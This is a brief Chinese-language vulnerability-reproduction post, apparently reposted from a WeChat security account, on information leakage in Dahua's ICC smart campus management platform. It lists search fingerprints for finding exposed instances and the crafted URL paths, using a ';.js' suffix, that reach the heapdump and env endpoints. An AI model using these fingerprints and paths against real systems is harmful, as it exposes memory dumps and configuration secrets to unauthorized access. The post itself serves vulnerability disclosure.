资产收集
body="static/fontshd/font-hd.css" || body="客户端会小于800"
漏洞复现
构造url
/evo-apigw/dsc-mac/heapdump;.js/evo-apigw/dsc-mac/env;.js
原文始发于微信公众号（Devil安全）：【漏洞复现】大华ICC智慧校园综合管理平台env/heapdump敏感信息泄露
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
- 本文由 admin 发表于 2024年7月2日14:06:40
- 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
大华ICC智慧校园综合管理平台env/heapdump敏感信息泄露https://cn-sec.com/archives/2909625.html
评论